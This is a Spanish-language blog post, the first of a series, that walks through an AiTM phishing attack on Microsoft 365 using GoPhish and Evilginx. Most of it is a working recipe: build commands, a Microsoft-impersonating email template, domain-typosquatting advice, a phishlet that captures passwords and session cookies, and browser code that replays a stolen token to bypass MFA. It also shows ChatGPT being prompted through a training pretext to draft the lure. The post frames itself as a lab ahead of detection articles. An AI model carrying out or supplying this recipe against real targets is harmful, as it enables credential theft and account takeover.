Cyberg Academy Blog

Hunting GoPhish & Evilginx: PoC - Ataque de phishing AiTM / MFA (1/3)

Ataque
Los ataques de phishing siguen siendo una de las amenazas más relevantes en el ámbito de la ciberseguridad y, aún en la actualidad, el vector de entrada más utilizado por los atacantes debido a su eficacia (coste / beneficio).

Por ello, estrenaremos el blog con una saga de artículos que tiene como objetivo ofrecer una visión práctica sobre los ataques de phishing modernos, específicamente aquellos que emplean técnicas AiTM (Adversary in The Middle) para evadir mecanismos de autenticación multifactor (MFA).

En este primer artículo, realizaremos un ataque de phishing controlado utilizando GoPhish y Evilginx, dos herramientas ampliamente usadas por los atacantes. En una segunda entrega, abordaremos cómo detectar y prevenir estos ataques. Y en la última entrega, analizaremos cómo cazar servidores activos con estos servicios.

A continuación, se expone el guión que seguiremos:

  • Hunting GoPhish & Evilginx: PoC - Ataque de phishing AiTM / MFA (1/3)
------ Objetivos de la saga
------ ¿Qué es un ataque AiTM?
------ ¿Qué es GoPhish?
------ ¿Qué es Evilginx?
------ Configuración de las herramientas
------ Lanzamiento de la campaña de ataque
------ Análisis de resultados
------ Conclusiones
------ Referencias
  • Hunting GoPhish & Evilginx: Detección y Prevención (2/3)
  • Hunting GoPhish & Evilginx: Cazando servidores maliciosos in the wild (3/3)

Objetivos de la saga

Los objetivos de esta entrega son mostrar a los lectores la sencillez con la que se pueden robar credenciales y tokens de sesión, para saltarnos el doble factor de autenticación, y facilitar medidas de detección y prevención para ayudar a los usuarios y organizaciones a protegerse frente a este tipo de ataques.

Por último, se mostrarán diferentes técnicas para cazar in the wild direcciones IP con servicios de GoPhish y Evilginx.

¿Qué es un ataque AiTM?

Un ataque AiTM (Adversary in The Middle) es una técnica sofisticada de phishing donde el atacante se interpone entre la víctima y el servicio legítimo. Esto permite capturar credenciales y tokens de sesión en tiempo real, superando así métodos de autenticación multifactor (MFA), como códigos enviados al móvil o generados mediante aplicaciones específicas.

En nuestra prueba de concepto utilizaremos GoPhish para lanzar y gestionar la campaña de phishing y Evilginx como proxy para capturar las credenciales introducidas por la víctima.

En la siguiente imagen se muestra el esquema que utilizaremos en el ataque, y se termina de entender el concepto de AiTM. También se indican las técnicas de MITRE ATT&CK utilizadas en la prueba:

¿Qué es GoPhish?

GoPhish es un framework de código abierto diseñado específicamente para realizar simulaciones de ataques de phishing. Facilita la creación, gestión y análisis de campañas de phishing gracias a su interfaz sencilla, intuitiva y efectiva. Es ampliamente utilizado tanto por equipos de seguridad en ejercicios controlados como por atacantes debido a su facilidad de uso y personalización.

Para más información de todas sus capacidades, se puede acceder a su página web oficial y github.

¿Qué es Evilginx?

Evilginx es una herramienta de código abierto que actúa como proxy inverso para ataques AiTM. Su poder radica en la capacidad de capturar y retransmitir en tiempo real solicitudes y respuestas HTTP/S entre el usuario y la web legítima, permitiendo capturar credenciales, cookies de sesión y tokens MFA. Esto posibilita ataques efectivos incluso en entornos protegidos por MFA.
Recursos interesantes:

Configuración de las herramientas

Dejémonos de teoría, y vamos a lo que mola 😎

Para el laboratorio utilizaremos la versión de Ubuntu 24.04.2.

GoPhish

Empezaremos instalando el fork de gopshish del autor de Evilginx, Kuba Gretzky.
$ git clone https://github.com/kgretzky/gophish.git
Esta versión de GoPhish está preparada para configurar las campañas de Evilginx. Se explica todo en el reciente post de Evilginx.

Instalamos Golang, lenguaje con el que se han desarrollado ambas herramientas y lo utilizaremos para compilarlas:
$ curl -O https://dl.google.com/go/go1.22.2.linux-amd64.tar.gz
$ sudo rm -rf /usr/local/go
$ sudo tar -C /usr/local -xzf go1.22.2.linux-amd64.tar.gz
$ echo "export PATH=\$PATH:/usr/local/go/bin" >> ~/.bashrc
$ source ~/.bashrc
$ go version # deberiamos ver lo siguiente
go version go1.22.2 linux/arm64
Con esto, ya podemos compilar, ejecutar y configurar GoPhish. Vamos a ello:
$ go build # compilar
$ ./gophish # iniciar gophish
...
time="2025-04-27T20:23:37+02:00" level=info msg="Please login with the username admin and the password f0cc2b81e131a21d"
...
time="2025-04-27T20:23:37+02:00" level=info msg="Starting admin server at https://127.0.0.1:3333"
...
Accedemos a la URL anterior (https://127.0.0.1:3333), introducimos las credenciales generadas en el log y las cambiamos.

Una vez dentro, procedemos a configurar nuestro perfil para enviar la campaña de phishing via email. En mi caso, he utilizado el servidor SMTP de Hostinguer.

Podéis utilizar cualquier servidor SMTP que permita envío de correos por aplicaciones de terceros con usuario y contraseña, lo digo porqué, por ejemplo, Gmail y Outlook deshabilitaron esta opción hace un tiempo.

Sending Profilings > New Profile
Clicando en Send Test Email podemos comprobar que el perfil esté bien configurado enviándonos un correo de prueba.
Aquí lo tenemos:
En este caso, estoy utilizando el dominio de cyberg-academy.io para la prueba, pero, sobra decir, que si queremos realizar un ejercicio de phishing real deberemos utilizar un dominio similar al servicio que queremos suplantar.

A continuación, dejo algunos consejos para la elección de este dominio:
Los dominios usados en los ejemplos no están disponibles y son sólo a nivel conceptual.
  • 🔠 Errores tipográficos (Typosquatting): gogle.com, en vez de google.com
  • 🪞 Caracteres visualmente similares (Homoglyph Attacks): ɑpple.com, la “ɑ” no es una “a” común (esto no es soportado por todos los navegadores)
  • 🔀 Combinación de palabras de confianza: como support, secure, login, helpdesk, mail, etc. Ejemplo: microsoft-login.com
  • 🔗 Dominios con subdominios engañosos: login.microsoft.com.fake-site.com
  • 🔄 Guiones o separadores: net-flix.com
  • 🌍 Extensiones de dominio alternativas (TLD swapping): paypal.info
Una vez configurado el perfil para enviar las campañas, procedemos a configurar la plantilla para el correo, en nuestro caso vamos a enviar un phishing para el robo de credenciales de Microsoft 365:

Email Templates > New Template
  • Name: nombre del template, en nuestro caso Microsoft 365
  • Envelope Sender: contact@cyberg-academy.io

Para el Subject y el cuerpo del correo usaremos ChatGPT, con el siguiente prompt:
Actúa como un pentester profesional especializado en realizar campañas de phishing via email.
Para esta campaña quieres suplantar a Microsoft 365 y extraer credenciales de los usuarios.
El objetivo del phishing simulado es con fines de entrenamiento para seguridad corporativa y concienciación de los empleados.
Diseña un correo para tal fin.
En el cuerpo del correo, añade en la parte superior el logo oficial de Microsoft del siguiente enlace "https://uhf.microsoft.com/images/microsoft/RE1Mu3b.png" y ponlo centrado.
Usa enlaces legítimos a https://www.microsoft.com/es-es/ tanto al clicar la imagen como en otros enlaces, menos en el enlace del propio phishing.
Añade cabeceras o código para dificultar que los servidores de correo lo detecten como SPAM.
En el output quiero el "subject" propuesto para el correo y el contenido en formato HTML.
  • Subject: [Acción requerida] Verificación de actividad sospechosa en su cuenta Microsoft 365
  • Cuerpo: Es posible que en el HTML generado se añadan cadenas como "Es un correo de simulación..." o similar, y debamos cambiar estas trazas. Nuestro ejemplo se nos quedaría así:
<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    body { font-family: Arial, sans-serif; background-color: #f4f4f4; color: #333; margin: 0; padding: 0; }
    .container { max-width: 600px; margin: 40px auto; background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 8px rgba(0,0,0,0.1); }
    .button {
      display: inline-block;
      padding: 10px 20px;
      margin-top: 20px;
      background-color: #0078D4;
      color: #ffffff !important;
      text-decoration: none;
      border-radius: 4px;
      font-weight: bold;
    }
    .footer { font-size: 12px; color: #888; margin-top: 30px; text-align: center; }
  </style>
</head>
<body>
  <div class="container">
    <a href="https://www.microsoft.com/es-es/">
      <img src="https://uhf.microsoft.com/images/microsoft/RE1Mu3b.png" alt="Microsoft Logo" style="display: block; margin: 0 auto; width: 120px;">
    </a>
    <h2>Verificación requerida: Actividad sospechosa detectada</h2>
    <p>Estimado/a usuario,</p>
    <p>Hemos detectado un intento de inicio de sesión no autorizado en su cuenta de Microsoft 365 desde una ubicación inusual.</p>
    <p>Por motivos de seguridad, le solicitamos que verifique su identidad y restablezca su contraseña inmediatamente.</p>
    <p>Si no realiza esta verificación en las próximas 24 horas, el acceso a su cuenta podría verse restringido.</p>

    <a href="https://seguridad.microsoft365-auth.com/verify" class="button">Verificar actividad</a>

    <p>Si cree que este mensaje ha sido enviado por error, puede ignorarlo. Para más información, visite <a href="https://www.microsoft.com/es-es/">nuestro sitio oficial</a>.</p>

    <div class="footer">
      © 2025 Microsoft Corporation. Todos los derechos reservados.<br>
      Este es un mensaje automático. No responda a este correo.
    </div>
  </div>
</body>
</html>
Fijaros en el enlace al dominio de phishing propuesto "https://seguridad.microsoft365-auth.com/verify", lo cambiaremos por {{.URL}} para que apunte al dominio de Evilginx. Quedaría del siguiente modo:
Guardamos la plantilla y vamos a crear un nuevo grupo. En esta vista, añadir todos los usuarios a los que queremos enviar nuestra campaña de phishing y pulsar en Save changes:

Users & Groups > New Group
Ya tenemos configurado nuestro GoPhish, ahora vamos a configurar Evilginx.

¡Volveremos para lanzar la campaña!

Evilginx 3.3

Clonamos la última versión de Evilginx (3.3 en el momento en que escribimos el post), nos colocamos en la carpeta, compilamos y lanzamos el programa con permisos de root:
$ git clone https://github.com/kgretzky/evilginx2.git
$ cd evilginx2/
$ go build
$ sudo ./evilginx2
Deberíamos de ver algo como lo siguiente:
Salimos de Evilginx con el comando exit para realizar unas configuraciones previas.

Primero, vamos a abrir el fichero de configuración de Evilginx /root/.evilginx/config.json (se necesitarán permisos de root) y vamos a cambiar el puerto DNS, para que no solape el del sistema, por ejemplo, por el 5344:
Por otro lado, esta prueba de concepto la realizaremos en local, por lo que no usaremos dominios externos.

Imaginemos que el dominio obtenido para el phishing es mircosoft-helpdesk.es. Debemos añadir el dominio y los subdominios account, login y www (utilizados por el phishlet elegido de Evilginx, explicado más abajo) en el /etc/hosts de nuestra máquina para que el DNS resuelva a nuestra dirección IP, en nuestro caso la 192.168.165.130.
$ cat /etc/hosts
127.0.0.1 localhost
192.168.165.130 account.mircosoft-helpdesk.es login.mircosoft-helpdesk.es mircosoft-helpdesk.es www.mircosoft-helpdesk.es
Creamos los certificados X509 válidos para los dominios que utilizará Evilginx a la hora de realizar el proxy inverso:
$ sudo mkdir -p /root/.evilginx/crt/sites/mircosoft-helpdesk.es
$ sudo openssl req -newkey rsa:2048 -nodes -keyout /root/.evilginx/crt/sites/mircosoft-helpdesk.es/private.key -x509 -days 365 -out /root/.evilginx/crt/sites/mircosoft-helpdesk.es/public.crt -subj "/CN=mircosoft-helpdesk.es"
$ sudo mkdir -p /root/.evilginx/crt/sites/login.mircosoft-helpdesk.es
$ sudo openssl req -newkey rsa:2048 -nodes -keyout /root/.evilginx/crt/sites/login.mircosoft-helpdesk.es/private.key -x509 -days 365 -out /root/.evilginx/crt/sites/login.mircosoft-helpdesk.es/public.crt -subj "/CN=login.mircosoft-helpdesk.es"
$ sudo mkdir -p /root/.evilginx/crt/sites/www.mircosoft-helpdesk.es
$ sudo openssl req -newkey rsa:2048 -nodes -keyout /root/.evilginx/crt/sites/www.mircosoft-helpdesk.es/private.key -x509 -days 365 -out /root/.evilginx/crt/sites/www.mircosoft-helpdesk.es/public.crt -subj "/CN=www.mircosoft-helpdesk.es"
Añadimos el phishlet que utilizaremos en nuestro ataque. Un phishlet es un conjunto de reglas en texto plano (formato YAML) que se utilizan dentro del motor de Evilginx. Estas reglas definen qué subdominios son necesarios para poder hacer proxy de manera adecuada a un sitio específico, qué cadenas de string deben reemplazarse en los paquetes retransmitidos, qué cookies deben capturarse, entre otros parámetros.

En nuestro caso, usaremos el siguiente phishlet de M365, creado por Jan Bakker.

Creamos, dentro de la carpeta de evilginx2/phishlets el fichero microsoft365.yaml y copiar el contenido:
name: 'Microsoft 365'
author: 'Jan Bakker'
min_ver: '3.1.0'
proxy_hosts:
  - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: true, auto_filter: true}
  - {phish_sub: 'www', orig_sub: 'www', domain: 'office.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoft.com', session: false, is_landing: false, auto_filter: true}
auth_tokens:
  - domain: '.login.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', 'SignInStateCookie']
    type: 'cookie'
credentials:
  username:
    key: '(login|UserName)'
    search: '(.*)'
    type: 'post'
  password:
    key: '(passwd|Password|accesspass)'
    search: '(.*)'
    type: 'post'
  custom:
    - key: 'mfaAuthMethod'
      search: '(.*)'
      type: 'post'
login:
  domain: 'login.microsoftonline.com'
  path: '/'
Ya podemos configurar Evilginx y generar nuestro enlace para el phishing:
$ sudo ./evilginx2
Primero conectaremos Evilginx a GoPhish. Para ello necesitaremos la URL y una API Key de GoPhish, disponible en la pestaña de Account Settings:
En la consola de Evilginx:
: config gophish admin_url https://127.0.0.1:3333
: config gophish api_key 57130d4267c5fb6c3f5c3a8559e5c878c69f269f7b848ed660587f6b2b388314
: config gophish insecure true 
: config gophish test
Nota: si se tienen dudas de los comandos, utilizar el comando help o help <comando>.

Posteriormente, configuramos nuestro dominio, IP, deshabilitamos la creación de certificados automáticos de LetsEncrypt que realiza Evilginx por defecto (ya los hemos creado antes) y, para la prueba, deshabilitamos la opción de blacklist (opción recomendable para activar si usamos dominio público y así bloquear los bots automáticos):
: config domain mircosoft-helpdesk.es
: config ipv4 192.168.165.130
: config autocert off
: blacklist off
Hasta aquí, deberíamos tener una configuración como la siguiente:
Para finalizar, configuramos nuestro phishlet, generamos el cebo (lure en inglés) y así obtenemos la URL para nuestro ejercicio de phishing:
: phishlets hostname microsoft365 mircosoft-helpdesk.es
: phishlets enable microsoft365

: lures create microsoft365 
: lures edit 0 redirect_url https://login.microsoftonline.com/
: lures get-url 0

https://login.mircosoft-helpdesk.es/bTUlXnGW
Podemos acceder a esta URL desde el navegador para comprobar que funciona:

Lanzamiento de la campaña de ataque

Con las herramientas configuradas y nuestro señuelo creado en el último paso de la sección anterior, sólo queda crear la campaña en GoPhish, lanzarla y esperar a que alguna víctima caiga.

Para ello, accedemos a la interfaz de GoPhish, creamos una nueva campaña con la plantilla de correo, URL del señuelo, perfil configurado y seleccionamos el grupo víctima.

Campaigns > New Campaign
Tras lanzar la campaña, la víctima recibe el correo:
Nota: Es posible que el correo llegue a la carpeta de SPAM. Para evitar esto:
  • Si añadimos enlaces para logos u otra finalidad, verificar que sean seguros y confiables. Por ejemplo, si usamos wikimedia.org para cargar logos o imágenes, los servidores de correo lo marcarán como SPAM.
  • No usar enlaces a dominios clasificados en listas negras.
  • DKIM / SPF / DMARC bien configurados desde el servidor de envío.
Cómo lo hemos hecho tan bien 🙂, la víctima cae en nuestro phishing, clica en el enlace e introduce sus credenciales de acceso a Microsoft 365:
Y también su doble factor de autenticación. Nótese que la URL no es la legítima, pero se parece un poco :)
Tras introducir sus credenciales, la víctima es redirigida a la web oficial, en la cual, si vuelve a introducir sus credenciales ya sí accedería correctamente al servicio de Microsoft 365:

Análisis de resultados

Si accedemos a GoPhish, vista Campaigns, podemos ver toda la trazabilidad de nuestra campaña:
Y en la sección de Details observamos la actividad de las víctimas.

En nuestro caso, el usuario Pepe, que no tiene muchas luces, ha abierto el correo, clicado en el enlace e introducido sus credenciales:
Si nos fijamos, GoPhish no muestra las credenciales, ya que, éstas sólo son almacenadas en Evilginx.

Si abrimos la consola con Evilginx, observamos que ha ido recopilando también toda la actividad de los usuarios, incluidas las credenciales:
Para obtener toda la información de las víctimas ejecutamos el comando sessions y sessions <id> para los detalles de cada sesión, en nuestro caso:
: sessions
...
: sessions 12
Con este token podemos acceder a Microsoft 365 saltándonos el proceso de login (sí, también el MFA).

Para ello podemos utilizar la extensión de Chrome recomendada por el autor de Evilginx StorageAce u otras más conocidas como Cookie-Editor. Accedemos a https://portal.office.com, importamos el token como nueva cookie, recargamos la página y ya tendríamos acceso.

En nuestro caso, importaremos el token sin instalar ninguna extensión, siguiendo los siguientes pasos:
  1. Accedemos a https://portal.office.com
  2. Pulsamos F12 para abrir las herramientas de desarrolladores y vamos a la ventana de Console
  3. Ejecutamos los siguientes comandos y recargamos la página:
allow pasting
var obj = JSON.parse('[insertar token aqui]');
for (let i = 0; i < 3; i++) { document.cookie= obj[i].name+"="+obj[i].value+"; expires=Wed, 05 Aug 2040 23:00:00 UTC; path=/"; }
Créditos: Emin HUSEYNOV
Al recargar la página, ya estamos dentro:

Conclusiones

Como hemos analizado en este post, obtener unas credenciales, aunque estén protegidas por notificación MFA, se convierte en una tarea sencilla para los atacantes.

En el próximo post veremos diferentes ideas para detectar y prevenir estos tipos de ataque:

  • Hunting GoPhish & Evilginx: Detección y Prevención (2/3)
  • Hunting GoPhish & Evilginx: Cazando servidores maliciosos in the wild (3/3)

¡Gracias por llegar hasta aquí!

Nos vemos en la siguiente entrega 🚀

Referencias